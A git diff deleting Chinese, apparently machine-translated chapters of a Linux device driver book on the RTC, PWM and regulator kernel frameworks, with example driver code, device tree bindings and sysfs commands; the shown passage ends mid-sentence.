-在向系统报告报警事件之前,必须将实时时钟芯片连接到系统芯片的内部时钟线路。当报警发生时,它依赖于驱动为低电平的实时时钟的 INT 线。根据制造商的不同,线路保持低电平,直到状态寄存器被读取,或者一个特殊位被清零: - -![](img/00038.jpeg) - -在这一点上,我们可以使用通用的 IRQ 应用编程接口,如`request_threaded_irq()`,来注册警报 IRQ 的处理程序。在 IRQ 处理程序中,使用`rtc_update_irq()`功能通知内核关于 RTC IRQ 事件是很重要的: - -```sh -void rtc_update_irq(struct rtc_device *rtc, - unsigned long num, unsigned long events) -``` - -* `rtc`:这是引发 IRQ 的 rtc 设备 -* `num`:显示报告了多少个内部评级(通常是一个) -* `events`:这是`RTC_IRQF`的面具,有`RTC_PF`、`RTC_AF`、`RTC_UF`中的一个或多个 - -```sh -/* RTC interrupt flags */ -#define RTC_IRQF 0x80 /* Any of the following is active */ -#define RTC_PF 0x40 /* Periodic interrupt */ -#define RTC_AF 0x20 /* Alarm interrupt */ -#define RTC_UF 0x10 /* Update interrupt for 1Hz RTC */ -``` - -该函数可以从任何上下文中调用,无论是原子的还是非原子的。IRQ 处理程序可能如下所示: - -```sh -static irqreturn_t foo_rtc_alarm_irq(int irq, void *data) -{ - struct foo_rtc_struct * foo_device = data; - dev_info(foo_device ->dev, "%s:irq(%d)\n", __func__, irq); - rtc_update_irq(foo_device ->rtc_dev, 1, RTC_IRQF | RTC_AF); - - return IRQ_HANDLED; -} -``` - -请记住,具有报警功能的 RTC 设备可以用作唤醒源。也就是说,只要警报触发,系统就可以从暂停模式中唤醒。该特性依赖于 RTC 设备产生的中断。使用`device_init_wakeup()`功能将设备声明为唤醒源。实际唤醒系统的 IRQ 也必须向电源管理核心注册,使用`dev_pm_set_wake_irq()`功能: - -```sh -int device_init_wakeup(struct device *dev, bool enable) -int dev_pm_set_wake_irq(struct device *dev, int irq) -``` - -我们不会在本书中详细讨论电源管理。这个想法只是给你一个概述,如何 RTC 设备可以改善你的系统。驱动`drivers/rtc/rtc-ds1343.c`可以帮助实现这样的功能。让我们通过为一个 SPI foo RTC 设备编写一个假的`probe`函数来把所有的事情联系起来: - -```sh -static const struct rtc_class_ops foo_rtc_ops = { - .read_time = foo_rtc_read_time, - .set_time = foo_rtc_set_time, - .read_alarm = foo_rtc_read_alarm, - .set_alarm = foo_rtc_set_alarm, - .alarm_irq_enable = foo_rtc_alarm_irq_enable, - .ioctl = foo_rtc_ioctl, -}; - -static int foo_spi_probe(struct spi_device *spi) -{ - int ret; - /* initialise and configure the RTC chip */ - [...] - -foo_rtc->rtc_dev = -devm_rtc_device_register(&spi->dev, "foo-rtc", -&foo_rtc_ops, THIS_MODULE); - if (IS_ERR(foo_rtc->rtc_dev)) { - dev_err(&spi->dev, "unable to register foo rtc\n"); - return PTR_ERR(priv->rtc); - } - - foo_rtc->irq = spi->irq; - - if (foo_rtc->irq >= 0) { - ret = devm_request_threaded_irq(&spi->dev, spi->irq, - NULL, foo_rtc_alarm_irq, - IRQF_ONESHOT, "foo-rtc", priv); - if (ret) { - foo_rtc->irq = -1; - dev_err(&spi->dev, - "unable to request irq for rtc foo-rtc\n"); - } else { - device_init_wakeup(&spi->dev, true); - dev_pm_set_wake_irq(&spi->dev, spi->irq); - } - } - - return 0; -} -``` - -# RTC 和用户空间 - -在 Linux 系统上,有两个内核选项需要注意,以便从用户空间正确管理 RTC。这些是`CONFIG_RTC_HCTOSYS`和`CONFIG_RTC_HCTOSYS_DEVICE`。 - -`CONFIG_RTC_HCTOSYS`包括内核构建过程中的代码文件`drivers/rtc/hctosys.c`,从启动和恢复时的 RTC 开始设置系统时间。启用此选项后,系统时间将使用从指定的实时时钟设备读取的值进行设置。RTC 装置应在`CONFIG_RTC_HCTOSYS_DEVICE`中规定: - -```sh -CONFIG_RTC_HCTOSYS=y -CONFIG_RTC_HCTOSYS_DEVICE="rtc0" -``` - -在前面的例子中,我们告诉内核从 RTC 设置系统时间,我们指定使用的 RTC 为`rtc0`。 - -# sysfs 接口 - -负责在 sysfs 中实例化 RTC 属性的内核代码在`drivers/rtc/rtc-sysfs.c`中定义,在内核源代码树中。一旦注册,RTC 设备将在`/sys/class/rtc`下创建一个`rtc`目录。该目录包含一组只读属性,其中最重要的是: - -* `date`:该文件打印 RTC 接口的当前日期: - -```sh -$ cat /sys/class/rtc/rtc0/date -2017-08-28 -``` - -* `time`:打印该 RTC 的当前时间: - -```sh - $ cat /sys/class/rtc/rtc0/time - 14:54:20 -``` - -* `hctosys`:该属性表示 RTC 设备是否为`CONFIG_RTC_HCTOSYS_DEVICE`中指定的设备,表示该 RTC 用于设置系统启动和恢复的时间。将`1`解读为真,将`0`解读为假: - -```sh - $ cat /sys/class/rtc/rtc0/hctosys - 1 -``` - -* `dev`:该属性显示设备的大调和小调。主修:副修: - -```sh - $ cat /sys/class/rtc/rtc0/dev - 251:0 -``` - -* `since_epoch`:此属性将打印自 UNIX 纪元(自 1970 年 1 月 1 日起)以来经过的秒数: - -```sh - $ cat /sys/class/rtc/rtc0/since_epoch - 1503931738 -``` - -# hwclock 实用程序 - -**硬件时钟** ( **hwclock** )是用于访问 RTC 设备的工具。`man hwclock`命令可能比本节讨论的任何内容都更有意义。也就是说,让我们编写一些命令,从系统时钟设置 hwclock RTC: - -```sh - $ sudo ntpd -q # make sure system clock is set from network time - $ sudo hwclock --systohc # set rtc from the system clock - $ sudo hwclock --show # check rtc was set - Sat May 17 17:36:50 2017 -0.671045 seconds -``` - -前面的示例假设主机有一个网络连接,可以通过该网络连接访问 NTP 服务器。也可以手动设置系统时间: - -```sh - $ sudo date -s '2017-08-28 17:14:00' '+%s' #set system clock manually - $ sudo hwclock --systohc #synchronize rtc chip on system time -``` - -如果不作为参数给出,`hwclock`假设 RTC 设备文件是`/dev/rtc`,这实际上是到真实 RTC 设备的符号链接: - -```sh - $ ls -l /dev/rtc - lrwxrwxrwx 1 root root 4 août 27 17:50 /dev/rtc -> rtc0 -``` - -# 摘要 - -本章向您介绍了 RTC 框架及其应用编程接口。其精简的功能和数据结构集使其成为最轻量级的框架,并且易于掌握。使用本章中描述的技能,您将能够为大多数现有的 RTC 芯片开发驱动,甚至更进一步,从用户空间处理此类设备,轻松设置日期和时间以及警报。下一章,脉宽调制驱动,与这一章没有什么共同之处,但却是嵌入式工程师的必读。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/19.md b/docs/linux-device-driver-dev/19.md deleted file mode 100644 index d0b71de4..00000000 --- a/docs/linux-device-driver-dev/19.md +++ /dev/null @@ -1,494 +0,0 @@ -# 十九、脉宽调制驱动 - -**脉冲宽度调制** ( **脉宽调制**)就像一个不断循环开关一样运行。它是一种硬件特性,用于控制伺服电机、电压调节等。脉宽调制最著名的应用有: - -* 电动机转速控制 -* 灯光变暗 -* 电压调整 - -现在,让我们用一个简单的下图来介绍脉宽调制: - -![](img/00039.jpeg) - -上图描述了一个完整的脉宽调制周期,介绍了在深入了解内核脉宽调制框架之前我们需要澄清的一些术语: - -* `Ton`:这是信号为高电平的持续时间。 -* `Toff`:这是信号为低电平的持续时间。 -* `Period`:这是一个完整的 PWM 周期的持续时间。它代表脉宽调制信号的`Ton`和`Toff`之和。 -* `Duty cycle`:表示在脉宽调制信号期间保持开启的时间信号的百分比。 - -不同的公式详述如下: - -* 脉宽调制周期:![](img/00040.gif) -* 占空比:![](img/00041.gif) - -You can find details about PWM at [https://en.wikipedia.org/wiki/Pulse-width_modulation](https://en.wikipedia.org/wiki/Pulse-width_modulation). - -Linux 脉宽调制框架有两个接口: - -1. **控制器界面**:暴露 PWM 线的那个。是 PWM 芯片,也就是生产者。 -2. **消费接口**:消耗控制器暴露的 PWM 线的设备。这种设备的驱动使用控制器通过通用脉宽调制框架输出的辅助功能。 - -使用者或生产者接口取决于以下头文件: - -```sh -#include -``` - -在本章中,我们将讨论: - -* 用于控制器和消费者的脉宽调制驱动架构和数据结构,以及虚拟驱动 -* 在设备树中实例化脉宽调制设备和控制器 -* 请求和消费脉宽调制设备 -* 通过 sysfs 接口从用户空间使用脉宽调制 - -# 脉宽调制控制器驱动 - -当您在编写 GPIO 控制器驱动时需要`struct gpio_chip`,在编写 IRQ 控制器驱动时需要`struct irq_chip`,一个脉宽调制控制器在内核中被表示为`struct pwm_chip`结构的一个实例。 - -![](img/00042.jpeg) - -PWM controller and devices - -```sh -struct pwm_chip { - struct device *dev; - const struct pwm_ops *ops; - int base; - unsigned int npwm; - - struct pwm_device *pwms; - struct pwm_device * (*of_xlate)(struct pwm_chip *pc, - const struct of_phandle_args *args); - unsigned int of_pwm_n_cells; - bool can_sleep; -}; -``` - -以下是结构中每个元素的含义: - -* `dev`:表示与该芯片关联的设备。 -* `Ops`:这是一个数据结构,提供了这个芯片向消费者驱动公开的回调函数。 -* `Base`:这是这个芯片控制的第一个 PWM 的个数。如果`chip->base < 0`那么,内核会动态分配一个基数。 -* `can_sleep`:如果操作场的`.config()`、`.enable()`或`.disable()`操作可能休眠,芯片驱动应将其设置为`true`。 -* `npwm`:这是这个芯片提供的 PWM 通道(器件)数量。 -* `pwms`:这是这个芯片的 PWM 器件的阵列,由框架分配给消费者驱动。 -* `of_xlate`:这是一个可选的回调,用于请求给定 DT PWM 说明符的 PWM 设备。如果没有定义,它将被脉宽调制核心设置为`of_pwm_simple_xlate`,这将迫使`of_pwm_n_cells`也变为`2`。 -* `of_pwm_n_cells`:这是脉宽调制说明符的 DT 中预期的单元数。 - -PWM 控制器/芯片的添加和移除依赖于两个基本功能,`pwmchip_add()`和`pwmchip_remove()`。每个函数都应该有一个填充的`struct pwm_chip`结构作为参数。它们各自的原型如下: - -```sh -int pwmchip_add(struct pwm_chip *chip) -int pwmchip_remove(struct pwm_chip *chip) -``` - -与其他没有返回值的框架移除函数不同,`pwmchip_remove()`有一个返回值。成功时返回`0`,如果芯片有一条脉宽调制线仍在使用(仍被请求),则返回`-EBUSY`。 - -每个脉宽调制驱动必须通过`struct pwm_ops`字段实现一些挂钩,该字段由脉宽调制核心或消费者接口使用,以便配置和充分利用其脉宽调制通道。其中一些是可选的。 - -```sh -struct pwm_ops { - int (*request)(struct pwm_chip *chip, struct pwm_device *pwm); - void (*free)(struct pwm_chip *chip, struct pwm_device *pwm); - int (*config)(struct pwm_chip *chip, struct pwm_device *pwm, - int duty_ns, int period_ns); - int (*set_polarity)(struct pwm_chip *chip, struct pwm_device *pwm, - enum pwm_polarity polarity); - int (*enable)(struct pwm_chip *chip,struct pwm_device *pwm); - void (*disable)(struct pwm_chip *chip, struct pwm_device *pwm); - void (*get_state)(struct pwm_chip *chip, struct pwm_device *pwm, - struct pwm_state *state); /* since kernel v4.7 */ - struct module *owner; -}; -``` - -让我们看看结构中的每个元素意味着什么: - -* `request`:这是一个可选的钩子,如果提供的话,在脉宽调制通道请求期间执行。 -* `free`:这与请求相同,在脉宽调制释放期间运行。 -* `config`:这是 PMW 配置钩子。它为该脉宽调制配置占空比和周期长度。 -* `set_polarity`:这个钩子配置这个 PWM 的极性。 -* `Enable`:这使能脉宽调制线,开始输出切换。 -* `Disable`:这将禁用脉宽调制线,停止输出切换。 -* `Apply`:这自动应用了一个新的脉宽调制配置。状态参数应该根据实际的硬件配置进行调整。 -* `get_state`:返回当前 PWM 状态。注册脉宽调制芯片时,每个脉宽调制器件只调用一次该功能。 -* `Owner`:这是拥有这个芯片的模块,通常是`THIS_MODULE`。 - -在 PWM 控制器驱动的`probe`功能中,好的做法是检索 DT 资源,初始化硬件,填充一个`struct pwm_chip`及其`struct pwm_ops`,然后,添加带有`pwmchip_add`功能的 PWM 芯片。 - -# 驱动示例 - -现在,让我们通过为一个脉宽调制控制器编写一个虚拟驱动来总结一下,该控制器有三个通道: - -```sh -#include -#include -#include -#include - -struct fake_chip { - struct pwm_chip chip; - int foo; - int bar; - /* put the client structure here (SPI/I2C) */ -}; - -static inline struct fake_chip *to_fake_chip(struct pwm_chip *chip) -{ - return container_of(chip, struct fake_chip, chip); -} - -static int fake_pwm_request(struct pwm_chip *chip, - struct pwm_device *pwm) -{ - /* - * One may need to do some initialization when a PWM channel - * of the controller is requested. This should be done here. - * - * One may do something like - * prepare_pwm_device(struct pwm_chip *chip, pwm->hwpwm); - */ - - return 0; -} - -static int fake_pwm_config(struct pwm_chip *chip, - struct pwm_device *pwm, - int duty_ns, int period_ns) -{ - - /* - * In this function, one ne can do something like: - * struct fake_chip *priv = to_fake_chip(chip); - * - * return send_command_to_set_config(priv, - * duty_ns, period_ns); - */ - - return 0; -} - -static int fake_pwm_enable(struct pwm_chip *chip, struct pwm_device *pwm) -{ - /* - * In this function, one ne can do something like: - * struct fake_chip *priv = to_fake_chip(chip); - * - * return foo_chip_set_pwm_enable(priv, pwm->hwpwm, true); - */ - - pr_info("Somebody enabled PWM device number %d of this chip", - pwm->hwpwm); - return 0; -} - -static void fake_pwm_disable(struct pwm_chip *chip, - struct pwm_device *pwm) -{ - /* - * In this function, one ne can do something like: - * struct fake_chip *priv = to_fake_chip(chip); - * - * return foo_chip_set_pwm_enable(priv, pwm->hwpwm, false); - */ - - pr_info("Somebody disabled PWM device number %d of this chip", - pwm->hwpwm); -} - -static const struct pwm_ops fake_pwm_ops = { - .request = fake_pwm_request, - .config = fake_pwm_config, - .enable = fake_pwm_enable, - .disable = fake_pwm_disable, - .owner = THIS_MODULE, -}; - -static int fake_pwm_probe(struct platform_device *pdev) -{ - struct fake_chip *priv; - - priv = devm_kzalloc(&pdev->dev, sizeof(*priv), GFP_KERNEL); - if (!priv) - return -ENOMEM; - - priv->chip.ops = &fake_pwm_ops; - priv->chip.dev = &pdev->dev; - priv->chip.base = -1; /* Dynamic base */ - priv->chip.npwm = 3; /* 3 channel controller */ - - platform_set_drvdata(pdev, priv); - return pwmchip_add(&priv->chip); -} - -static int fake_pwm_remove(struct platform_device *pdev) -{ - struct fake_chip *priv = platform_get_drvdata(pdev); - return pwmchip_remove(&priv->chip); -} - -static const struct of_device_id fake_pwm_dt_ids[] = { - { .compatible = "packt,fake-pwm", }, - { } -}; -MODULE_DEVICE_TABLE(of, fake_pwm_dt_ids); - -static struct platform_driver fake_pwm_driver = { - .driver = { - .name = KBUILD_MODNAME, -.owner = THIS_MODULE, - .of_match_table = of_match_ptr(fake_pwm_dt_ids), - }, - .probe = fake_pwm_probe, - .remove = fake_pwm_remove, -}; -module_platform_driver(fake_pwm_driver); - -MODULE_AUTHOR("John Madieu "); -MODULE_DESCRIPTION("Fake pwm driver"); -MODULE_LICENSE("GPL"); -``` - -# 脉宽调制控制器绑定 - -从 DT 内部绑定 PWM 控制器时,最重要的属性是`#pwm-cells`。它表示用于表示该控制器的脉宽调制设备的单元数量。如果你记得的话,在`struct pwm_chip`结构中,`of_xlate`钩子用于翻译给定的脉宽调制说明符。如果没有设置钩子,这里的`pwm-cells`必须设置为 2,否则应该设置为与`of_pwm_n_cells`相同的值。下面是一个例子的脉宽调制控制器节点在 DT,为一个 i.MX6 系统芯片。 - -```sh -pwm3: pwm@02088000 { - #pwm-cells = <2>; - compatible = "fsl,imx6q-pwm", "fsl,imx27-pwm"; - reg = <0x02088000 0x4000>; - interrupts = <0 85 IRQ_TYPE_LEVEL_HIGH>; - clocks = <&clks IMX6QDL_CLK_IPG>, - <&clks IMX6QDL_CLK_PWM3>; - clock-names = "ipg", "per"; - status = "disabled"; -}; -``` - -另一方面,对应于假 pwm 驱动的节点看起来像: - -```sh -fake_pwm: pwm@0 { - #pwm-cells = <2>; - compatible = "packt,fake-pwm"; - /* - * Our driver does not use resource - * neither mem, IRQ, nor Clock) - */ -}; -``` - -# 脉宽调制用户接口 - -消费者是实际使用脉宽调制通道的设备。脉宽调制通道在内核中表示为`struct pwm_device`结构的一个实例: - -```sh -struct pwm_device { - const char *label; - unsigned long flags; - unsigned int hwpwm; - unsigned int pwm; - struct pwm_chip *chip; - void *chip_data; - - unsigned int period; /* in nanoseconds */ - unsigned int duty_cycle; /* in nanoseconds */ - enum pwm_polarity polarity; -}; -``` - -* `Label`:这是这个 PWM 设备的名字 -* `Flags`:这表示与脉宽调制设备相关的标志 -* `hwpw`:这是脉宽调制器件的相对指数,在芯片本地 -* `pwm`:这是 PWM 设备的系统全局索引 -* `chip`:这是一个 PWM 芯片,提供这个 PWM 器件的控制器 -* `chip_data`:这是与这个 PWM 设备相关的芯片私有数据 - -从内核 v4.7 开始,结构变为: - -```sh -struct pwm_device { - const char *label; - unsigned long flags; - unsigned int hwpwm; - unsigned int pwm; - struct pwm_chip *chip; - void *chip_data; - - struct pwm_args args; - struct pwm_state state; -}; -``` - -* `args`:这表示附加到该脉宽调制设备的依赖于板的脉宽调制参数,通常从脉宽调制查找表或设备树中检索。脉宽调制参数代表用户希望在该脉宽调制设备上使用的初始配置,而不是当前的脉宽调制硬件状态。 -* `state`:表示当前 PWM 通道状态。 - -```sh -struct pwm_args { - unsigned int period; /* Device's nitial period */ - enum pwm_polarity polarity; -}; - -struct pwm_state { - unsigned int period; /* PWM period (in nanoseconds) */ - unsigned int duty_cycle; /* PWM duty cycle (in nanoseconds) */ - enum pwm_polarity polarity; /* PWM polarity */ - bool enabled; /* PWM enabled status */ -} -``` - -随着 Linux 的发展,脉宽调制框架面临着一些变化。这些变化关系到用户侧请求脉宽调制设备的方式。我们可以将消费者界面分成两部分,或者更准确地说,分成两个版本。 - -**旧版**,使用`pwm_request()`和`pwm_free()`是为了申请一个 PWM 设备,使用后释放。 - -**新增推荐 API** ,使用`pwm_get()`和`pwm_put()`功能。前者被赋予消费设备和通道名作为请求脉宽调制设备的参数,而后者被赋予要释放的脉宽调制设备作为参数。这些功能的托管变体`devm_pwm_get()`和`devm_pwm_put()`也存在。 - -```sh -struct pwm_device *pwm_get(struct device *dev, const char *con_id) -void pwm_put(struct pwm_device *pwm) -``` - -`pwm_request()`/`pwm_get()` and `pwm_free()`/`pwm_put()` cannot be called from an atomic context, since the PWM core make use of mutexes, which may sleep. - -请求后,必须使用以下方式配置脉宽调制: - -```sh -int pwm_config(struct pwm_device *pwm, int duty_ns, int period_ns); -``` - -要启动/停止切换脉宽调制输出,请使用`pwm_enable()` / `pwm_disable()`。这两个函数都以指向一个`struct pwm_device`的指针作为参数,并且都是控制器通过`pwm_chip.pwm_ops`字段暴露的钩子的包装器。 - -```sh -int pwm_enable(struct pwm_device *pwm) -void pwm_disable(struct pwm_device *pwm) -``` - -`pwm_enable()`成功返回`0`,失败返回负错误代码。脉宽调制消费驱动的一个很好的例子是内核源代码树中的`drivers/leds/leds-pwm.c`。以下是驱动脉宽调制发光二极管的消费者代码示例: - -```sh -static void pwm_led_drive(struct pwm_device *pwm, - struct private_data *priv) -{ - /* Configure the PWM, applying a period and duty cycle */ - pwm_config(pwm, priv->duty, priv->pwm_period); - - /* Start toggling */ - pwm_enable(pchip->pwmd); - - [...] /* Do some work */ - - /* And then stop toggling*/ - pwm_disable(pchip->pwmd); -} -``` - -# 脉宽调制客户端绑定 - -脉宽调制设备可以从以下方面分配给用户: - -* 设备树 -* 高级配置与电源接口(Advanced Configuration and Power Interface) -* 静态查找表,在板`init`文件中。 - -这本书只讨论 DT 装订,因为这是推荐的方法。当将一个脉宽调制消费程序(客户端)绑定到它的驱动时,您需要提供它所链接到的控制器的指针。 - -建议你给 PWM 属性起个名字`pwms`;由于脉宽调制设备被命名为资源,您可以提供一个可选属性`pwm-names,`,它包含一个字符串列表来命名在`pwms`属性中列出的每个脉宽调制设备。如果没有给出`pwm-names`属性,用户节点的名称将作为回退。 - -使用多个脉宽调制设备的设备驱动可以使用`pwm-names`属性将`pwm_get()`调用请求的脉宽调制设备名称映射到由`pwms`属性给出的列表索引中。 - -下面的例子描述了一个基于脉宽调制的背光设备,这是从关于脉宽调制设备绑定的内核文档中摘录的(参见*文档/设备树/绑定/脉宽调制/脉宽调制. txt* ): - -```sh -pwm: pwm { - #pwm-cells = <2>; -}; - -[...] - -bl: backlight { -pwms = <&pwm 0 5000000>; - pwm-names = "backlight"; -}; -``` - -脉宽调制说明符通常以纳秒为单位对芯片相关的脉宽调制数和脉宽调制周期进行编码。其内容如下: - -```sh -pwms = <&pwm 0 5000000>; -``` - -`0`对应相对于控制器的 PWM 指数,`5000000`代表以纳秒为单位的周期。请注意,在前面的示例中,指定`pwm-names`是多余的,因为名称`backlight`无论如何都将用作后备。因此,驾驶员必须呼叫: - -```sh -static int my_consummer_probe(struct platform_device *pdev) -{ - struct pwm_device *pwm; - - pwm = pwm_get(&pdev->dev, "backlight"); - if (IS_ERR(pwm)) { - pr_info("unable to request PWM, trying legacy API\n"); - /* - * Some drivers use the legacy API as fallback, in order - * to request a PWM ID, global to the system - * pwm = pwm_request(global_pwm_id, "pwm beeper"); - */ - } - - [...] - return 0; -} -``` - -The PWM-specifier typically encodes the chip-relative PWM number and the PWM period in nanoseconds. - -# 使用带 sysfs 接口的 Pwm - -PWM 核心`sysfs`根路径为`/sys/class/pwm/`。管理脉宽调制设备是用户空间的方式。添加到系统中的每个脉宽调制控制器/芯片在`sysfs`根路径下创建一个`pwmchipN`目录条目,其中`N`是脉宽调制芯片的基础。该目录包含以下文件: - -* `npwm`:这是一个只读文件,打印这个芯片支持的 PWM 通道数 -* `Export`:这是一个只写文件,允许导出一个 PWM 通道供`sysfs`使用(该功能相当于 GPIO sysfs 接口) -* `Unexport`:从`sysfs`中取消导出一个脉宽调制通道(只写) - -脉宽调制通道使用从 0 到`pwm`的索引进行编号。这些数字是芯片本地的。每个脉宽调制通道输出在`pwmchipN`中创建一个`pwmX`目录,该目录与包含所用`export`文件的目录相同。 **X** 是出口的通道号。每个频道目录包含以下文件: - -* `Period`:这是一个可读/可写的文件,用来获取/设置 PWM 信号的总周期。值以纳秒为单位。 -* `duty_cycle`:这是一个可读/可写的文件,用于获取/设置 PWM 信号的占空比。它表示脉宽调制信号的有效时间。值以纳秒为单位,必须始终小于周期。 -* `Polarity`:这是一个可读/可写的文件,只有在这个 PWM 器件的芯片支持极性反转的情况下才能使用。最好仅在该脉宽调制未启用时改变极性。接受值为字符串*正常*或*反转*。 -* `Enable`:这是一个可读/可写的文件,用于启用(开始切换)/禁用(停止切换)脉宽调制信号。接受的值有: - -* 0:已禁用 -* 1:已启用 - -以下是通过`sysfs`界面从用户空间使用脉宽调制的示例: - -1. 启用脉宽调制: - -```sh - # echo 1 > /sys/class/pwm/pwmchip/pwm/enable -``` - -2. 设置脉宽调制周期: - -```sh -# echo ** >** /sys/class/pwm/pwmchip****/pwm****/period -``` - -3. 设置脉宽调制占空比:占空比的值必须小于脉宽调制周期的值: - -```sh -# echo **** > /sys/class/pwm/pwmchip****/pwm****/duty_cycle -``` - -4. 禁用脉宽调制: - -```sh - # echo 0 > /sys/class/pwm/pwmchip/pwm/enable -``` - -The complete PWM framework API and sysfs description is available in the *Documentation/pwm.txt* file, in the kernel source tree. - -# 摘要 - -到本章结束时,您已经为任何脉宽调制控制器做好了准备,无论它是内存映射的,还是外部总线上的。本章中描述的应用编程接口将足以编写和增强控制器驱动作为消费设备驱动。如果你还不习惯脉宽调制内核端,你可以充分利用用户空间 sysfs 接口。也就是说,在下一章中,我们将讨论调节器,它有时由脉宽调制驱动。所以,请坚持住,我们快完成了。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/20.md b/docs/linux-device-driver-dev/20.md deleted file mode 100644 index 297614c2..00000000 --- a/docs/linux-device-driver-dev/20.md +++ /dev/null @@ -1,976 +0,0 @@ -# 二十、监控框架 - -调节器是向其他设备供电的电子设备。由调节器供电的设备称为消费者。一个说他们消耗监管者提供的能量。大多数调节器可以使能和禁用其输出,有些还可以控制其输出电压或电流。驱动应该通过特定的功能和数据结构向消费者展示这些功能,我们将在本章中讨论。 - -物理提供调节器的芯片称为**电源管理集成电路** ( **PMIC** ): - -![](img/00043.jpeg) - -Linux 调节器框架被设计用于接口和控制电压和电流调节器。它分为如下四个独立的接口: - -* 用于调节器 PMIC 驱动的调节器驱动接口。这个界面的结构可以在`include/linux/regulator/driver.h`中找到。 -* 设备驱动的用户界面。 -* 用于板配置的机器接口。 -* 用户空间的 sysfs 接口。 - -在本章中,我们将涵盖以下主题: - -* 介绍 PMIC/生产者驱动接口、驱动方法和数据结构 -* ISL6271A 麦克风驱动的案例研究,以及用于测试目的的虚拟调节器 -* 调节器消费者接口及其应用编程接口 -* DT 中的调节器(生产者/消费者)绑定 - -# PMIC/生产者驱动接口 - -发生器是产生调节电压或电流的装置。这种设备的名称是 PMIC,可用于电源排序、电池管理、DC-DC 转换或简单的电源开关(开/关)。在软件控制的帮助下,它从输入功率调节输出功率。 - -它与监管者驱动打交道,尤其是生产商 PMIC 方面,这需要几个标题: - -```sh -#include -#include -#include -``` - -# 驱动数据结构 - -我们将从监管框架使用的数据结构的简短演练开始。本节仅描述生产者接口。 - -# 描述结构 - -内核通过`struct regulator_desc`结构描述了 PMIC 提供的每一个调节器,这是一个调节器的特征。我所说的调节器是指任何独立的调节输出。例如,Intersil 的 ISL6271A 是一款具有三个独立调节输出的 PMIC。驱动中应该有三个`regulator_desc`实例。该结构包含调节器的固定属性,如下所示: - -```sh -struct regulator_desc { - const char *name; - const char *of_match; - - int id; - unsigned n_voltages; - const struct regulator_ops *ops; - int irq; - enum regulator_type type; - struct module *owner; - - unsigned int min_uV; - unsigned int uV_step; -}; -``` - -为了简单起见,我们省略一些字段。完整的结构定义可在`include/linux/regulator/driver.h`中获得: - -* `name`保存调节器的名称。 -* `of_match`保存用于识别 DT 中调节器的名称。 -* `id`是调节器的数字标识符。 -* `owner`代表提供调节器的模块。将该字段设置为`THIS_MODULE`。 -* `type`表示调节器是电压调节器还是电流调节器。可以是`REGULATOR_VOLTAGE`也可以是`REGULATOR_CURRENT`。任何其他值都将导致调节器注册失败。 -* `n_voltages`表示该调节器可用的选择器数量。它表示调节器可以输出的数值。对于固定输出电压,`n_voltages`应设置为 1。 -* `min_uV`表示该调节器能够提供的最小电压值。它是最低选择器给出的电压。 -* `uV_step`代表每个选择器的电压增加。 -* `ops`代表调节器操作表。它是一个指向一组操作回调的结构,调节器可以支持这些回调。这个字段将在后面讨论。 -* `irq`是调节器的中断号。 - -# 约束结构 - -当 PMIC 让消费者接触一个监管机构时,它必须借助`struct regulation_constraints`结构对这个监管机构施加一些名义上的限制。这是一个聚集监管者安全限制的结构,定义了消费者不能跨越的界限。这是一种监管者和消费者之间的契约: - -```sh -struct regulation_constraints { - const char *name; - - /* voltage output range (inclusive) - for voltage control */ - int min_uV; - int max_uV; - - int uV_offset; - - /* current output range (inclusive) - for current control */ - int min_uA; - int max_uA; - - /* valid regulator operating modes for this machine */ - unsigned int valid_modes_mask; - - /* valid operations for regulator on this machine */ - unsigned int valid_ops_mask; - - struct regulator_state state_disk; - struct regulator_state state_mem; - struct regulator_state state_standby; - suspend_state_t initial_state; /* suspend state to set at init */ - - /* mode to set on startup */ - unsigned int initial_mode; - - /* constraint flags */ - unsigned always_on:1; /* regulator never off when system is on */ - unsigned boot_on:1; /* bootloader/firmware enabled regulator */ - unsigned apply_uV:1; /* apply uV constraint if min == max */ -}; -``` - -让我们描述一下结构中的每个元素: - -* `min_uV`、`min_uA`、`max_uA`和`max_uV`是消费者可能设定的最小电压/电流值。 -* `uV_offset`是应用于用户电压的偏移,用于补偿电压降。 -* `valid_modes_mask`和`valid_ops_mask`分别是消费者可以配置/执行的模式/操作的掩码。 -* 如果调节器不应被禁用,则应设置`always_on`。 -* 如果系统初始启动时调节器已启用,则应设置`boot_on`。如果调节器不是由硬件或引导加载程序使能的,那么当应用约束时,它将被使能。 -* `name`是用于显示目的的约束的描述性名称。 -* `apply_uV`初始化时应用电压约束。 -* `input_uV`表示由另一个调节器供电时该调节器的输入电压。 -* `state_disk`、`state_mem`和`state_standby`定义系统在磁盘模式、mem 模式或待机模式下暂停时调节器的状态。 -* `initial_state`表示默认设置暂停状态。 -* `initial_mode`是启动时要设置的模式。 - -# 初始化数据结构 - -将`regulator_init_data`传递给驾驶员有两种方式;这可以通过板初始化文件中的平台数据或通过使用`of_get_regulator_init_data`功能的设备树中的节点来完成: - -```sh -struct regulator_init_data { - struct regulation_constraints constraints; - - /* optional regulator machine specific init */ - int (*regulator_init)(void *driver_data); - void *driver_data; /* core does not touch this */ -}; -``` - -以下是结构中元素的含义: - -* `constraints`代表调节器约束 -* `regulator_init`是内核注册调节器时在给定时刻调用的可选回调 -* `driver_data`代表传递给`regulator_init`的数据 - -可以看到,`struct constraints`结构是`init data`的一部分。这是因为在调节器初始化时,它的约束直接应用于它,远在任何消费者可以使用它之前。 - -# 将初始化数据输入板文件 - -该方法包括从驱动内部或板文件中填充约束数组,并将其用作平台数据的一部分。以下示例基于案例研究中的设备,即 Intersil 的 ISL6271A: - -```sh -static struct regulator_init_data isl_init_data[] = { - [0] = { - .constraints = { - .name = "Core Buck", - .min_uV = 850000, - .max_uV = 1600000, - .valid_modes_mask = REGULATOR_MODE_NORMAL - | REGULATOR_MODE_STANDBY, - .valid_ops_mask = REGULATOR_CHANGE_MODE - | REGULATOR_CHANGE_STATUS, - }, - }, - [1] = { - .constraints = { - .name = "LDO1", - .min_uV = 1100000, - .max_uV = 1100000, - .always_on = true, - .valid_modes_mask = REGULATOR_MODE_NORMAL - | REGULATOR_MODE_STANDBY, - .valid_ops_mask = REGULATOR_CHANGE_MODE - | REGULATOR_CHANGE_STATUS, - }, - }, - [2] = { - .constraints = { - .name = "LDO2", - .min_uV = 1300000, - .max_uV = 1300000, - .always_on = true, - .valid_modes_mask = REGULATOR_MODE_NORMAL - | REGULATOR_MODE_STANDBY, - .valid_ops_mask = REGULATOR_CHANGE_MODE - | REGULATOR_CHANGE_STATUS, - }, - }, -}; -``` - -这种方法现在被折旧了,虽然它在这里提供给你参考。新的和推荐的方法是 